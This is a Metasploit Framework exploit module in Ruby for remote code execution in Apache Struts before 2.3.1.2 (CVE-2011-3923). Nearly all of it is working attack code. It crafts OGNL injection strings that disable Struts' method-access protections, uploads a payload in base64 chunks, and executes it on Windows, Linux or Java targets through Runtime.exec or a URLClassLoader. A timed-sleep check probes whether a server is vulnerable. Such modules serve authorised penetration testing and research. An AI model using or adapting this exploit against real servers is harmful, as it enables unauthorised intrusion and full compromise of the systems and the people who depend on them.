Apache Struts ParametersInterceptor Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apache Struts ParametersInterceptor Remote Code Execution',
			'Description'    => %q{
				This module exploits a remote command execution vulnerability in Apache Struts
				versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
				for the use of parentheses which in turn allows it to interpret parameter values as
				OGNL expressions during certain exception handling for mismatched data types of
				properties which allows remote attackers to execute arbitrary Java code via a
				crafted parameter.
			},
			'Author'         =>
				[
					'Meder Kydyraliev', # Vulnerability Discovery and PoC
					'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
					'mihi' #ARCH_JAVA support
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2011-3923'],
					[ 'OSVDB', '78501'],
					[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
					[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
				],
			'Platform'      => [ 'win', 'linux', 'java'],
			'Privileged'     => true,
			'Targets'        =>
				[
					['Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'windows'
						}
					],
					['Linux Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					],
					[ 'Java Universal',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						},
					]
				],
			'DisclosureDate' => 'Oct 01 2011',
			'DefaultTarget' => 2))

			register_options(
				[
					Opt::RPORT(8080),
					OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
					OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
					OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
		], self.class)
	end

	def execute_command(cmd, opts = {})
		inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
		inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
		inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
		inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
		uri = String.new(datastore['TARGETURI'])
		uri = normalize_uri(uri)
		uri.gsub!(/INJECT/,inject) # append the injection string
		resp = send_request_cgi({
			'uri'     => uri,
			'version' => '1.1',
			'method'  => 'GET',
		})
		return resp #Used for check function.
	end

	def exploit
		#Set up generic values.
		@payload_exe = rand_text_alphanumeric(4+rand(4))
		pl_exe = generate_payload_exe
		append = 'false'
		#Now arch specific...
		case target['Platform']
		when 'linux'
			@payload_exe = "/tmp/#{@payload_exe}"
			chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
			exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
		when 'java'
			@payload_exe << ".jar"
			pl_exe = payload.encoded_jar.pack
			exec_cmd = ""
			exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
			exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
			exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
			exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
			exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
			exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
			exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
			exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
		when 'windows'
			@payload_exe = "./#{@payload_exe}.exe"
			exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
		else
			fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
		end

		#Now with all the arch specific stuff set, perform the upload.
		#109 = length of command string plus the max length of append.
		sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
		chunk_length = 2048 - sub_from_chunk
		chunk_length = ((chunk_length/4).floor)*3
		while pl_exe.length > chunk_length
			java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
			pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
			append = true
		end
		java_upload_part(pl_exe,@payload_exe,append)
		execute_command(chmod_cmd) if target['Platform'] == 'linux'
		execute_command(exec_cmd)
		register_files_for_cleanup(@payload_exe)
	end

	def java_upload_part(part, filename, append = 'false')
		cmd = ""
		cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
		cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
		cmd << "#f.close()"
		execute_command(cmd)
	end

	def check
		sleep_time = datastore['CHECK_SLEEPTIME']
		check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
		t1 = Time.now
		print_status("Asking remote server to sleep for #{sleep_time} seconds")
		response = execute_command(check_cmd)
		t2 = Time.now
		delta = t2 - t1


		if response.nil?
			return Exploit::CheckCode::Safe
		elsif delta < sleep_time
			return Exploit::CheckCode::Safe
		else
			return Exploit::CheckCode::Appears
		end
	end

end